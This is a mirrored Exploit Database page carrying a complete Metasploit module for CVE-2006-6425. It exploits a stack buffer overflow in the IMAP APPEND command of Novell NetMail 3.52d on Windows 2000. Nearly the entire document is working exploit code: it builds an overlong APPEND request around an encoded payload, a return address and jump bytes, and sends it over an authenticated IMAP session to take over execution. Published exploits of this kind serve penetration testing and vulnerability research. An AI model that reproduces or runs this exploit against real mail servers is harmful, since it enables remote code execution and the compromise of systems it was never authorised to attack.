Novell NetMail 3.52d – IMAP APPEND Buffer Overflow (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2010-05-09
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16488/

• ##
  # $Id: novell_netmail_append.rb 9262 2010-05-09 17:45:00Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Imap
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Novell NetMail <= 3.52d IMAP APPEND Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in Novell's Netmail 3.52 IMAP APPEND
  				verb. By sending an overly long string, an attacker can overwrite the
  				buffer and control program execution.
  			},
  			'Author' => [ 'MC' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9262 $',
  			'References' =>
  				[
  					[ 'CVE', '2006-6425' ],
  					[ 'OSVDB', '31362' ],
  					[ 'BID', '21723' ],
  					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-06-054.html' ],
  				],
  			'Privileged' => true,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload'=>
  				{
  					'Space'=> 700,
  					'BadChars' => "\x00\x0a\x0d\x20",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					['Windows 2000 SP0-SP4 English', { 'Ret' => 0x75022ac4 }],
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Dec 23 2006'))
  
  	end
  
  	def exploit
  		sploit ="a002 APPEND" + "saved-messages (\Seen) "
  		sploit << rand_text_english(1358) + payload.encoded + "\xeb\x06"
  		sploit << rand_text_english(2) + [target.ret].pack('V')
  		sploit << [0xe9, -585].pack('CV') + rand_text_english(150)
  
  		info = connect_login
  
  		if (info == true)
  			print_status("Trying target #{target.name}...")
  			sock.put(sploit + "\r\n")
  		else
  			print_status("Not falling through with exploit")
  		end
  
  		handler
  		disconnect
  	end
  end